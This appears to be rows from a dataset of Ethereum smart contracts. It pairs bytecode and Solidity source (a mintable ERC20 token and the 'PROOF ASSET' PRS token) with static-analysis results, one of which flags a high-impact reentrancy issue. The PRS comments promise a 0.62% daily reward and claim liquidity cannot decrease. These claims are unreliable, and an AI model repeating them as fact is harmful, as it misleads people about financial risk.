5760405162461bcd60e51b81526004016104119061191f565b600f81101561049057600c55565b6001600160a01b038316610bde5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610411565b6001600160a01b038216610c3f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610411565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d045760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610411565b6001600160a01b038216610d665760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610411565b60008111610dc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610411565b6001600160a01b03831660009081526006602052604090205460ff1615610dee57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e3057506001600160a01b03821660009081526005602052604090205460ff16155b15610f87576000600955600c54600a55600f546001600160a01b038481169116148015610e6b5750600e546001600160a01b03838116911614155b8015610e9057506001600160a01b03821660009081526005602052604090205460ff16155b8015610ea55750600f54600160b81b900460ff165b15610eb957601054811115610eb957600080fd5b600f546001600160a01b038381169116148015610ee45750600e546001600160a01b03848116911614155b8015610f0957506001600160a01b03831660009081526005602052604090205460ff16155b15610f1a576000600955600b54600a555b6000610f253061057b565b600f54909150600160a81b900460ff16158015610f505750600f546001600160a01b03858116911614155b8015610f655750600f54600160b01b900460ff165b15610f8557610f738161108f565b478015610f8357610f8347610fd1565b505b505b610f92838383611234565b505050565b60008184841115610fbb5760405162461bcd60e51b815260040161041191906118cc565b506000610fc88486611a1b565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108fd573d6000803e3d6000fd5b60006007548211156110725760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610411565b600061107c61123f565b90506110888382611262565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561113957600080fd5b505afa15801561114d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117191906116c9565b8160018151811061119257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111b89130911684610b7c565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f1908590600090869030904290600401611954565b600060405180830381600087803b15801561120b57600080fd5b505af115801561121f573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f928383836112a4565b600080600061124c61139b565b909250905061125b8282611262565b9250505090565b600061108883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113df565b6000806000806000806112b68761140d565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112e8908761146a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461131790866114ac565b6001600160a01b0389166000908152600260205260409020556113398161150b565b6113438483611555565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161138891815260200190565b60405180910390a3505050505050505050565b6007546000908190690e9c7f5bd655012000006113b88282611262565b8210156113d657505060075492690e9c7f5bd6550120000092509050565b90939092509050565b600081836114005760405162461bcd60e51b815260040161041191906118cc565b506000610fc884866119dc565b600080600080600080600080600061142a8a600954600a54611579565b925092509250600061143a61123f565b9050600080600061144d8e8787876115ce565b919e509c509a509598509396509194505050505091939550919395565b600061108883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f97565b6000806114b983856119c4565b9050838110156110885760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610411565b600061151561123f565b90506000611523838361161e565b3060009081526002602052604090205490915061154090826114ac565b30600090815260026020526040902055505050565b600754611562908361146a565b60075560085461157290826114ac565b6008555050565b6000808080611593606461158d898961161e565b90611262565b905060006115a6606461158d8a8961161e565b905060006115be826115b88b8661146a565b9061146a565b9992985090965090945050505050565b60008080806115dd888661161e565b905060006115eb888761161e565b905060006115f9888861161e565b9050600061160b826115b8868661146a565b939b939a50919850919650505050505050565b60008261162d57506000610449565b600061163983856119fc565b90508261164685836119dc565b146110885760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610411565b80356116a881611a79565b919050565b6000602082840312156116be578081fd5b813561108881611a79565b6000602082840312156116da578081fd5b815161108881611a79565b600080604083850312156116f7578081fd5b823561170281611a79565b9150602083013561171281611a79565b809150509250929050565b600080600060608486031215611731578081fd5b833561173c81611a79565b9250602084013561174c81611a79565b929592945050506040919091013590565b6000806040838503121561176f578182fd5b823561177a81611a79565b946020939093013593505050565b6000602080838503121561179a578182fd5b823567ffffffffffffffff808211156117b1578384fd5b818501915085601f8301126117c4578384fd5b8135818111156117d6576117d6611a63565b8060051b604051601f19603f830116810181811085821117156117fb576117fb611a63565b604052828152858101935084860182860187018a1015611819578788fd5b8795505b838610156118425761182e8161169d565b85526001959095019493860193860161181d565b5098975050505050505050565b600060208284031215611860578081fd5b813561108881611a8e565b60006020828403121561187c578081fd5b815161108881611a8e565b600060208284031215611898578081fd5b5035919050565b6000806000606084860312156118b3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156118f8578581018301518582016040015282016118dc565b818111156119095783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119a35784516001600160a01b03168352938301939183019160010161197e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119d7576119d7611a4d565b500190565b6000826119f757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a1657611a16611a4d565b500290565b600082821015611a2d57611a2d611a4d565b500390565b6000600019821415611a4657611a46611a4d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461049057600080fd5b801515811461049057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208b7cdb1802fe9aa101fcd33842a5a14710d066c225847e24e53ea54d7a7fe2cb64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,421 |
0x552b2ed6c20a1d885a67e4e4c6d83374d9b5aecc
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MyToken is MintableToken {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
|
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100ea57806306fdde0314610113578063095ea7b31461019d57806318160ddd146101c157806323b872dd146101e8578063313ce5671461021257806340c10f191461023d578063661884631461026157806370a08231146102855780637d64bcb4146102a65780638da5cb5b146102bb57806395d89b41146102ec578063a9059cbb14610301578063d73dd62314610325578063dd62ed3e14610349578063f2fde38b14610370575b600080fd5b3480156100f657600080fd5b506100ff610393565b604080519115158252519081900360200190f35b34801561011f57600080fd5b506101286103b4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016257818101518382015260200161014a565b50505050905090810190601f16801561018f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a957600080fd5b506100ff600160a060020a0360043516602435610442565b3480156101cd57600080fd5b506101d66104a8565b60408051918252519081900360200190f35b3480156101f457600080fd5b506100ff600160a060020a03600435811690602435166044356104ae565b34801561021e57600080fd5b50610227610625565b6040805160ff9092168252519081900360200190f35b34801561024957600080fd5b506100ff600160a060020a036004351660243561062e565b34801561026d57600080fd5b506100ff600160a060020a0360043516602435610749565b34801561029157600080fd5b506101d6600160a060020a0360043516610839565b3480156102b257600080fd5b506100ff610854565b3480156102c757600080fd5b506102d06108fa565b60408051600160a060020a039092168252519081900360200190f35b3480156102f857600080fd5b50610128610909565b34801561030d57600080fd5b506100ff600160a060020a0360043516602435610964565b34801561033157600080fd5b506100ff600160a060020a0360043516602435610a45565b34801561035557600080fd5b506101d6600160a060020a0360043581169060243516610ade565b34801561037c57600080fd5b50610391600160a060020a0360043516610b09565b005b60035474010000000000000000000000000000000000000000900460ff1681565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561043a5780601f1061040f5761010080835404028352916020019161043a565b820191906000526020600020905b81548152906001019060200180831161041d57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a03831615156104c557600080fd5b600160a060020a0384166000908152602081905260409020548211156104ea57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561051a57600080fd5b600160a060020a038416600090815260208190526040902054610543908363ffffffff610b9e16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610578908363ffffffff610bb016565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546105ba908363ffffffff610b9e16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065460ff1681565b600354600090600160a060020a0316331461064857600080fd5b60035474010000000000000000000000000000000000000000900460ff161561067057600080fd5b600154610683908363ffffffff610bb016565b600155600160a060020a0383166000908152602081905260409020546106af908363ffffffff610bb016565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561079e57336000908152600260209081526040808320600160a060020a03881684529091528120556107d3565b6107ae818463ffffffff610b9e16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600090600160a060020a0316331461086e57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561089657600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561043a5780601f1061040f5761010080835404028352916020019161043a565b6000600160a060020a038316151561097b57600080fd5b3360009081526020819052604090205482111561099757600080fd5b336000908152602081905260409020546109b7908363ffffffff610b9e16565b3360009081526020819052604080822092909255600160a060020a038516815220546109e9908363ffffffff610bb016565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610a79908363ffffffff610bb016565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610b2057600080fd5b600160a060020a0381161515610b3557600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610baa57fe5b50900390565b600082820183811015610bbf57fe5b93925050505600a165627a7a72305820dd9d7c46b05fc2050ed2989bf384ea6cf62727b47bf7fc24f5a251d3b6b2530f0029
|
{"success": true, "error": null, "results": {}}
| 2,422 |
0xf0E698b55db59602A63826905F43BcA84c8272Cd
|
/*
* PROOF ASSET TOKEN (PRS)
* Developed by @cryptocreater
* Produced by PROOF CAPITAL GROUP
* PRF TOKEN INFO *
Name PROOF ASSET
Code PRS
Decimals 9
* PRS TOKEN MARKETING *
1. Liquidity is replenished by transferring ETH tokens to the address of the smart contract by interested parties. Moreover, the return of liquidity is possible only through the exchange of PRS tokens for ETH at the liquidity rate.
2. The exchange rate of PRF to PRS is 1:1 in absolute terms or 1000.000000:1.000000000 taking into tokens decimals.
3. The exchange rate of PRS to ETH is calculated based on the number of PRS tokens and the amount of liquidity in ETH tokens on the PROOF ASSET smart contract.
4. PRS liquidity is calculated using the formula:
Lq = Se / Sp
where
Lq - liquidity of the PRS token (PRS to ETH exchange rate),
Se - the volume (amount) of ETH tokens on the PROOF ASSET smart contract,
Sp - total emission of PRS tokens.
5. According to the provision of liquidity and the mechanics of the smart contract, PRS tokens can be obtained only in exchange for PRF tokens, and part of the liquidity can be withdrawn to ETH only in exchange for PRS tokens. Thus, each PRS token is provided with current liquidity in the ETH token, and a decrease in liquidity is not possible, in contrast to an increase due to its replenishment.
6. The remuneration of a smart contract for holding PRF tokens is 0.62% per day and does not depend on the PRF balance.
7. The emission of the PRS token is calculated based on the total emission of PRF tokens minus the amount of PRF tokens on the PROOF ASSET smart contract. Thus, each holders PRF token can be exchanged for an PRS token.
8. Any PRS token holder, depending on the financial strategy, can independently decide on the exchange of PRF tokens for PRS tokens and PRS tokens for ETH tokens without restrictions on the amount and timing of the exchange.
* PRS TOKEN MECHANICS *
1. To exchange PRF tokens for PRS tokens, you must:
- use the "prf2prs" function, after granting permission to the PROOF ASSET smart contract to write off PRF tokens from the user's address;
or
- send PRF tokens to the address of the PROOF ASSET smart contract to activate the exchange;
- send 0 (zero) ETH to the address of the PROOF ASSET smart contract to receive PRS tokens.
2. To exchange PRS tokens for ETH tokens according to the liquidity rate, you need to send PRS tokens to the address of the PROOF ASSET smart contract.
!!!Attention!!!
At the time of the exchange of tokens, the liquidity rate may change, because the smart contract will equalize the emission of PRF and PRS tokens, and then calculate the liquidity rate and transfer the corresponding number of ETH tokens.
3. Liquidity replenishment can be carried out by any interested person at his discretion in any time and amount exceeding 1 (one) ETH.
*/
pragma solidity 0.6.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface prfInterface {
function swapOf(address account) external view returns (uint256);
function fnSwap(uint256 amount) external;
}
library SafeMath {
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
require(a + b >= a, "Addition overflow");
return a + b;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
require(a >= b, "Substruction overflow");
return a - b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"Non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).safeAdd(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).safeSub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "Non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "Call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "Not succeed");
}
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name = "PROOF ASSET";
string private _symbol = "PRS";
uint8 private _decimals = 9;
event CheckOut(address indexed addr, uint256 amount);
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].safeSub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].safeAdd(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].safeSub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0) && recipient != address(0), "Zero address");
uint256 _value = beforeTokenTransfer(recipient, amount);
if(_value > 0) {
_balances[sender] = _balances[sender].safeSub(amount);
_totalSupply = _totalSupply.safeSub(amount);
emit Transfer(sender, address(0), amount);
emit CheckOut(sender, amount);
payable(sender).transfer(_value);
} else {
_balances[sender] = _balances[sender].safeSub(amount);
_balances[recipient] = _balances[recipient].safeAdd(amount);
emit Transfer(sender, recipient, amount);
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "Zero address");
_totalSupply = _totalSupply.safeAdd(amount);
_balances[account] = _balances[account].safeAdd(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "Zero address");
_balances[account] = _balances[account].safeSub(amount);
_totalSupply = _totalSupply.safeSub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0) && spender != address(0), "Zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function beforeTokenTransfer(address to, uint256 amount) internal virtual returns (uint256) { }
}
contract ProofAssetToken is ERC20 {
using SafeERC20 for IERC20;
IERC20 public prf = IERC20(0x499b78d0ef68272804C9661d7a12dcC7208BC322);
prfInterface public prfInterfaceCall = prfInterface(0x499b78d0ef68272804C9661d7a12dcC7208BC322);
address private smart;
event CheckIn(address indexed addr, uint256 prfs);
event RateUpdate(uint256 value);
constructor() public {
smart = address(this);
}
function beforeTokenTransfer(address to, uint256 amount) internal override returns (uint256) {
return (to == smart) ? amount * smart.balance / totalSupply() : 0;
}
receive() payable external {
if(msg.value > 0) {
uint256 _rate = smart.balance / totalSupply();
emit RateUpdate(_rate);
} else {
uint256 _amount = prfInterfaceCall.swapOf(msg.sender);
require(_amount > 0, "Send PRF first");
uint256 _supply = totalSupply().safeAdd(_amount);
uint256 _rate = smart.balance / _supply;
emit RateUpdate(_rate);
prfInterfaceCall.fnSwap(_amount);
_mint(msg.sender, _amount);
emit CheckIn(msg.sender, _amount);
}
}
function prf2prs(uint256 amount) external {
require(amount > 0, "Zero amount");
prfInterfaceCall.fnSwap(amount);
prf.safeTransferFrom(msg.sender, smart, amount);
_mint(msg.sender, amount);
emit CheckIn(msg.sender, amount);
}
function prs2eth(uint256 amount) external {
uint256 _withdraw = amount * smart.balance / totalSupply();
_burn(msg.sender, amount);
payable(msg.sender).transfer(_withdraw);
emit CheckOut(msg.sender, amount);
}
function prsBurn(uint256 amount) external {
_burn(msg.sender, amount);
}
function prsRate() external view returns(uint256) {
return smart.balance / totalSupply();
}
}
|
0x6080604052600436106101125760003560e01c8063476b0305116100a55780637ed5195411610074578063a457c2d711610059578063a457c2d7146106ed578063a9059cbb14610733578063dd62ed3e14610779576103e1565b80637ed51954146106ae57806395d89b41146106d8576103e1565b8063476b03051461061a57806370a082311461062f57806373c76ef01461066f5780637c53f33214610684576103e1565b806318160ddd116100e157806318160ddd1461053257806323b872dd14610559578063313ce567146105a957806339509351146105d4576103e1565b806303cf848e146103e657806306fdde0314610424578063087c0862146104ae578063095ea7b3146104d8576103e1565b366103e15734156101885760006101276107c1565b60075473ffffffffffffffffffffffffffffffffffffffff16318161014857fe5b0490507f9b831dcbec52dfe52b187da18aae08651dfb726e9baf49d5d9eae6fa264db3a1816040518082815260200191505060405180910390a1506103df565b600654604080517fb993377e000000000000000000000000000000000000000000000000000000008152336004820152905160009273ffffffffffffffffffffffffffffffffffffffff169163b993377e916024808301926020929190829003018186803b1580156101f957600080fd5b505afa15801561020d573d6000803e3d6000fd5b505050506040513d602081101561022357600080fd5b505190508061029357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600e60248201527f53656e6420505246206669727374000000000000000000000000000000000000604482015290519081900360640190fd5b60006102ad826102a16107c1565b9063ffffffff6107c716565b600754909150600090829073ffffffffffffffffffffffffffffffffffffffff1631816102d657fe5b0490507f9b831dcbec52dfe52b187da18aae08651dfb726e9baf49d5d9eae6fa264db3a1816040518082815260200191505060405180910390a1600654604080517fee9ec6c300000000000000000000000000000000000000000000000000000000815260048101869052905173ffffffffffffffffffffffffffffffffffffffff9092169163ee9e